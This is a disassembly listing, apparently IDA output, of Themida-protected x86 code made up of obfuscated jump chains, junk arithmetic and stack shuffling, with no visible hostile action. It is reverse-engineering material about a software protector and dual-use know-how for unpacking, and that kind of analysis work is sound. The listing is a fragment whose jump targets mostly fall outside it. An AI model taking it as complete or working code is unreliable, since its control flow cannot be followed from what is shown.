; ---------------------------------------------------------------------------


loc_5AE69B:				; CODE XREF: Themida_:005AD1F4j
		push	ecx
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		pop	ebx
		jmp	loc_5A9E95
; ---------------------------------------------------------------------------


loc_5AE6A7:				; CODE XREF: Themida_:0059FD2Bj
		add	eax, ebp
		add	eax, 149D1BD5h
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5AD541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AE6BA:				; CODE XREF: sub_5A91EC-8B85j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-1Ch+arg_18]
		pop	esp
		push	3D8Ah
		mov	[esp-1Ch+arg_18], edx
		push	edi
		push	edx
		mov	edx, 27C110F5h
		mov	edi, 27C110B5h
		xor	edi, edx
		mov	edx, [esp-14h+arg_10]
		jmp	loc_5A551A
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5AE6E7:				; CODE XREF: sub_59D24A+C327j
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5AE6F8:				; CODE XREF: Themida_:005AE0C8j
		jmp	loc_5A8020

; =============== S U B	R O U T	I N E =======================================



sub_5AE6FD	proc near		; CODE XREF: sub_5A2923+8608j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_A		= word ptr  0Eh
arg_C		= dword	ptr  10h
arg_10		= word ptr  14h

; FUNCTION CHUNK AT 005984C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00598EEE SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0059944A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599657 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00599DEE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ACFC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B34E SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059BF55 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C831 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CCB0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D944 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E8AB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059EAE5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F2FC SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A028F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A05B5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A06D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0CD2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A1D68 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A20B2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2488 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2595 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2D45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A34E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A353D SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A38AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A40C6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A46A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5531 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6046 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A68FD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A6ED6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A72E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A75EE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A797F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8082 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8187 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A8390 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A88E3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A948D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9E35 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AA1EF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA27D SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AA6AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB626 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005AB683 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD789 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD802 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE5DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AED6C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AEEEA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AF008 SIZE 0000003B BYTES

		push	ebx
		mov	bl, 2
		jmp	loc_5A8390
sub_5AE6FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE705:				; CODE XREF: sub_5A8C33-903j
		sub	ecx, 2B333DFDh
		or	ecx, 1EA17A0Ch
		sub	ecx, 9812C398h
		sub	eax, 5AC75F54h
		sub	eax, ecx
		add	eax, 5AC75F54h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		mov	edx, 7C0A4A9Ah
		jmp	loc_5A657A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AE749:				; CODE XREF: sub_59B707+7FC5j
		xor	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_59B192
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5AE752:				; CODE XREF: sub_59D147+6892j
		pop	ebp
		sub	ax, 22EFh
		sub	ax, si
		add	ax, 22EFh
		pop	esi
		add	ax, 1E50h
		add	ax, dx
		jmp	loc_5A2052
; END OF FUNCTION CHUNK	FOR sub_59D147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5AE76B:				; CODE XREF: sub_5ADE3B-10BE3j
		shl	dh, 2
		jmp	loc_5AD043
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F97E


loc_5AE773:				; CODE XREF: sub_59F97E-2DF7j
		xor	edi, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		not	edi
		inc	edi
		xor	edi, 1DB026DEh
		push	ecx
		mov	ecx, 6D071ADDh
		or	ecx, 4D904BB7h
		xor	ecx, 69B629E4h
		add	edi, ecx
		pop	ecx
		xor	edi, 0F31A331Dh
		jmp	sub_5A30BD
; END OF FUNCTION CHUNK	FOR sub_59F97E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A5B7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5AE7B8:				; CODE XREF: sub_5AB1B1-5D75j
		push	ecx
		jmp	loc_5AC6CC
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AE7BE:				; CODE XREF: sub_5A1B2A+8BB4j
		push	esi
		mov	esi, 60772D89h
		add	esi, 9F88D27Bh
		add	edx, esi
		jmp	loc_5AD6AD
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5AE7D1:				; CODE XREF: sub_5A0F44-D87j
		and	edi, 73782900h
		push	ebx
		mov	ebx, 770812BBh
		add	ebx, 0A4E661B7h
		neg	ebx
		js	loc_5A7CF1
		inc	ebx
		not	ebx
		jmp	loc_5A9922
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
		push	ebp
		push	esi
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AE7F5:				; CODE XREF: sub_597F0C:loc_59B7E2j
		xor	cl, 35h
		push	dx
		mov	dh, 51h
		sub	al, dh
		jmp	loc_5A5D69
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AE803:				; CODE XREF: sub_5A600F-4D7Cj
		mov	[esp+0], ebx
		mov	ebx, 6901127Dh
		push	ebp
		push	ecx
		push	ebx
		push	48B3521Ch
		pop	ebx
		jmp	loc_5A1F77
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AE819:				; CODE XREF: sub_59C53B+7329j
					; sub_59C53B+7548j
		jmp	loc_5A1EAE
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AE81E:				; CODE XREF: sub_5AC95F-2D63j
		mov	eax, [esp+10h+var_10]
		jmp	loc_5A618F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE826:				; CODE XREF: sub_59D99C+10801j
		mov	eax, [esp+0]
		push	edx
		jmp	loc_5AC3D2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5AE82F:				; CODE XREF: sub_59858D+5F1j
		inc	dl
		neg	dl
		jmp	loc_5A8C2B
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD76F


loc_5AE838:				; CODE XREF: sub_5AD76F+6j
		mov	[esp+0], ecx
		jmp	loc_5A1D04
; END OF FUNCTION CHUNK	FOR sub_5AD76F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5AE840:				; CODE XREF: sub_5A41D6+43A6j
		mov	[esp+0], esi
		push	4
		mov	esi, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		add	[esp+4], esi
		mov	esi, [esp+4+var_4]
		jmp	loc_5A55C1
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------


loc_5AE86A:				; CODE XREF: Themida_:005AE12Ej
		push	4857h
		mov	[esp], edi
		mov	edi, 7CC4F24h
		jmp	loc_59E53E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA396


loc_5AE87C:				; CODE XREF: sub_5AA396+1Fj
		mov	ebx, 4
		jmp	loc_5A20DA
; END OF FUNCTION CHUNK	FOR sub_5AA396
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5AE886:				; CODE XREF: sub_5A91CF-3C13j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	3368h
		mov	[esp+4+var_4], ebp
		sub	[esp+4+var_4], 38985D0Fh
		pop	edi
		add	edi, 38985D0Fh
		push	dword ptr [esp+0]
		jmp	loc_59BA4B
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AE8AD:				; CODE XREF: sub_59ACEC+89D5j
					; sub_5A91EC+3148j
		mov	ebp, 0
		sub	ebp, ecx
		xchg	ebp, ecx
		pop	ebp
		inc	ecx
		jmp	loc_59F169
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AE8BD:				; CODE XREF: sub_5A7343+128Bj
		xor	esi, 0E71489Ah
		jmp	loc_5AD9AA
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AE8C8:				; CODE XREF: sub_5A3F42-DCAj
		add	esp, 4
		sub	esi, 4
		sub	esp, 4
		jmp	loc_59932F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5AE8DC:				; CODE XREF: sub_59CFBF-2CA1j
		not	ebx
		neg	ebx
		sub	ebx, 0C0E81C81h
		sub	eax, ebx
		jmp	loc_5A29CA
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_5AE8ED:				; CODE XREF: Themida_:005AEBE5j
		add	edi, 11566162h
		add	edi, esi
		sub	edi, 11566162h
		pop	esi
		jmp	loc_5A6A83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5AE901:				; CODE XREF: sub_59D7E7-4CA2j
		mov	ecx, [esp-4+arg_0]
		jmp	loc_5A3206
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		push	36A8h
		mov	[esp], edx
		jmp	loc_5ADE78

; =============== S U B	R O U T	I N E =======================================



sub_5AE919	proc near		; CODE XREF: sub_5987D8+14104j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00597FBE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598295 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A63B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B2EA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C1AA SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A04E5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2F3F SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A5537 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5A8E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ABA83 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, 388C42BCh
		push	ebp
		sub	[esp+8+var_8], 496D2D99h
		pop	ecx
		push	ebx
		jmp	loc_597FBE
sub_5AE919	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AE92E:				; CODE XREF: Themida_:005A708Fj
		add	ebp, ecx
		add	ebp, 9542F6Ah
		jmp	loc_5A9426
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5AE93B:				; CODE XREF: sub_5AB88E-16DDj
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	4DBBh
		mov	[esp+8+var_8], edx
		push	esp
		jmp	loc_5984E9
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5AE952:				; DATA XREF: Themida_:005978E8o
		push	dword ptr [edi+40h]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5AE95A:				; CODE XREF: Themida_:005A57DBj
		push	41E5h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, ebx
		pop	ebx
		jmp	loc_59A11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AE987:				; CODE XREF: sub_599059+3B94j
		mov	[esp-6+arg_0+2], eax
		mov	ah, 43h
		xor	dl, ah
		pop	eax
		sub	cl, dl
		pop	edx
		push	eax
		mov	al, 36h
		add	bl, 22h
		jmp	loc_5A0475
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE99D:				; CODE XREF: Themida_:005A147Bj
					; sub_59D99C+8025j
		sub	esi, 572A3BF2h
		jmp	loc_5A2B7E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5AE9A8:				; CODE XREF: sub_598D16+3C29j
		add	esp, 4
		push	7E7Bh
		jmp	loc_5AAFAC
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_5AE9B8:				; CODE XREF: Themida_:0059B16Ej
		and	eax, 161C6546h
		not	eax
		add	eax, 78C9294Eh
		jmp	loc_5A33CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AE9C9:				; CODE XREF: sub_5A4F3D-472Bj
					; sub_5A141E+D747j
		mov	ecx, [esp+8+var_A+2]
		add	esp, 4
		push	37BBh
		jmp	loc_5A9028
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------


loc_5AE9D9:				; CODE XREF: Themida_:0059E7B6j
		pop	edx
		jmp	loc_59BA74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AE9DF:				; CODE XREF: sub_5A3F42+5A6Ej
		push	[esp+4+var_4]
		jmp	loc_59C390
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_5AE9E7:				; CODE XREF: Themida_:005AA528j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5AEA89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AE9F6:				; CODE XREF: sub_5A1B2A-30F2j
		xor	edx, 7B272FDCh
		push	eax
		mov	eax, 58E9378Ch
		add	eax, 0DFFD4468h
		sub	ecx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_5A5D35
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5AEA11:				; CODE XREF: Themida_:0059CB13j
		sub	ebp, 70B31AB0h
		jmp	loc_5A5FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AEA1C:				; CODE XREF: sub_599059+B4C7j
		push	38692D4Ah
		pop	ebp
		xor	ebp, 38692D4Bh
		jmp	loc_5AACEA
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5AEA2D:				; CODE XREF: Themida_:0059FBF2j
		shl	ecx, 8
		jns	loc_59C022
		xor	ecx, 28FC6556h
		jo	loc_5A7C7B
		shl	ecx, 3
		jmp	loc_5ABF2C

; =============== S U B	R O U T	I N E =======================================



sub_5AEA4A	proc near		; CODE XREF: sub_5A1B9F+65B1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A7446 SIZE 00000023 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_5A7446
sub_5AEA4A	endp

; ---------------------------------------------------------------------------


loc_5AEA55:				; CODE XREF: Themida_:005A1FE5j
		mov	ebx, 0E092AD13h
		add	ebx, 3272AECh
		sub	ebx, 459C18FBh
		jmp	loc_5A7835
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AEA6B:				; CODE XREF: sub_59D99C-9B4j
		add	esp, 4
		jmp	loc_5AD146
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5AEA7D:				; CODE XREF: Themida_:005A074Bj
		add	edi, 761065ABh
		push	edi
		jmp	loc_59BE19
; ---------------------------------------------------------------------------


loc_5AEA89:				; CODE XREF: Themida_:005AE9F1j
		mov	ecx, 229F025Dh
		add	ecx, 0DD60FDA5h
		add	ebx, 32D950F4h
		add	ebx, ecx
		push	ecx
		mov	ecx, 32D950F4h
		sub	ebx, ecx
		jmp	loc_59B615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_5AEAA9:				; CODE XREF: sub_5AA256-EF3Ej
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edi
		push	ebx
		push	3D60h
		mov	[esp+0Eh+var_E], eax
		mov	eax, 6F6156AAh
		mov	ebx, eax
		push	[esp+0Eh+var_E]
		jmp	loc_59FB7D
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE589


loc_5AEAC8:				; CODE XREF: sub_5AE589+10j
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 75EA0CE1h
		and	ecx, 442C60D9h
		inc	ecx
		xor	ecx, 11204849h
		jmp	loc_59A239
; END OF FUNCTION CHUNK	FOR sub_5AE589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5AEAF7:				; CODE XREF: sub_5A41D6+1E6Bj
		mov	dh, 50h
		not	dh
		push	ecx
		mov	ch, 3Bh
		push	cx
		dec	[esp+14h+var_13]
		pop	cx
		shr	ch, 5
		jmp	loc_5A4658
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AEB0E:				; CODE XREF: sub_5A8D43-F0E4j
		inc	edi
		dec	edi
		jmp	loc_59B764
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AEB15:				; CODE XREF: sub_5A8C33-10D67j
		mov	[esp+4+var_4], esp
		jmp	loc_59F394
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AEB1D:				; CODE XREF: Themida_:005A8941j
		push	ebx
		mov	ebx, 3D5873B5h
		add	ebx, 721E1794h
		jp	loc_599480
		jmp	loc_59E454
; ---------------------------------------------------------------------------


loc_5AEB34:				; CODE XREF: Themida_:005A6389j
					; Themida_:005A65D5j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59D7B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598E15


loc_5AEB3F:				; CODE XREF: sub_598E15+22j
		xchg	esi, ecx
		jmp	loc_5AC24C
; END OF FUNCTION CHUNK	FOR sub_598E15
; ---------------------------------------------------------------------------


loc_5AEB46:				; CODE XREF: Themida_:005AC57Bj
		pop	esi
		push	esi
		mov	esi, 44586E1Dh
		add	[esp+8], esi
		mov	esi, [esp]
		jmp	loc_59F4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AEB59:				; CODE XREF: sub_5A1B2A-5FDj
		pop	[esp+2+var_4+2]
		jmp	loc_5AB12D
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AEB61:				; CODE XREF: sub_5A141E:loc_5ACC17j
		xor	ax, 141Bh
		jo	loc_5AE9C9
		jmp	loc_5A0775
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------


loc_5AEB70:				; CODE XREF: Themida_:005A79D8j
		dec	cl
		jl	loc_59E404
		add	cl, 6Ch
		jmp	loc_5AD97E
; ---------------------------------------------------------------------------
		mov	ebp, [esp]
		push	ebp


loc_5AEB84:				; CODE XREF: Themida_:00599FF1j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	36E3h
		mov	[esp], eax
		push	160009C3h
		jmp	loc_59CEC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AEB9D:				; CODE XREF: sub_59D99C-2441j
		push	2299h
		jmp	loc_59EF6C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA9C8


loc_5AEBA7:				; CODE XREF: sub_5AA9C8-10BB2j
		push	eax
		mov	eax, esp
		jmp	loc_598573
; END OF FUNCTION CHUNK	FOR sub_5AA9C8

; =============== S U B	R O U T	I N E =======================================



sub_5AEBAF	proc near		; CODE XREF: Themida_:0059F36Aj
					; sub_5A7343-ADEj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	5D18h
		jmp	loc_5A80F9
sub_5AEBAF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AEBBF:				; CODE XREF: sub_5A8C33+11B5j
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		xor	ecx, 3C0F5142h
		sub	eax, ecx
		jmp	loc_5AC213
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AEBD0:				; CODE XREF: Themida_:loc_5AEFB4j
		xor	ebp, 47903B9Eh
		jmp	loc_5AA621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AEBDB:				; CODE XREF: sub_5A8D43-B9AAj
		add	dh, 0D4h
		push	ecx
		jmp	loc_5997E2
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5AEBE4:				; CODE XREF: Themida_:005A8A54j
		pop	ecx
		jmp	loc_5AE8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AEBEA:				; CODE XREF: sub_5A91EC-1E0Cj
		mov	edi, 78FA4D39h
		mov	edx, 24055F3Eh
		xor	edx, edi
		jmp	loc_598193
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5AEBFB:				; CODE XREF: sub_5ADDF8+Cj
		add	eax, 5668232Bh
		jno	loc_5A2271
		add	eax, 5E9AED86h
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		pop	edi
		jmp	loc_59D2BE
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AEC1A:				; CODE XREF: sub_59A932+127F2j
		mov	ecx, 2BFB4FE9h
		push	esi
		jmp	loc_5AA6E3
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE18


loc_5AEC25:				; CODE XREF: sub_5AEE18+Cj
		mov	ebp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_5AAD6F
; END OF FUNCTION CHUNK	FOR sub_5AEE18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AEC37:				; CODE XREF: sub_59CA4A+8F4Bj
		mov	esi, 6CC36C60h
		jmp	loc_59C843
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5AEC41:				; CODE XREF: Themida_:005A780Fj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_5A218C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5AEC61:				; CODE XREF: sub_59B0C4+12314j
		mov	esi, 85220h
		xor	ecx, esi
		mov	esi, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5AD68D
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5AEC74:				; CODE XREF: sub_598D16+DD0j
		mov	ebx, 65D5664Dh
		jmp	loc_5A0443
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AEC7E:				; CODE XREF: sub_59ACEC+DF09j
		mov	ecx, 5CCD5AE1h
		jmp	loc_5A36B4
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_5AEC88:				; CODE XREF: Themida_:005A1C76j
		jnz	loc_5A3579
		xor	eax, 3941465h
		jle	loc_5A3242
		push	ecx
		push	esi
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5AEC9B:				; CODE XREF: sub_59DFDD+A2CEj
		xor	ebp, 6FEF7278h
		mov	edx, ebp
		mov	ebp, [esp+8+var_8]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59D8B6
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AECBA:				; CODE XREF: sub_5A438E+8E60j
		mov	edx, 3FCE3F89h
		jmp	loc_598507
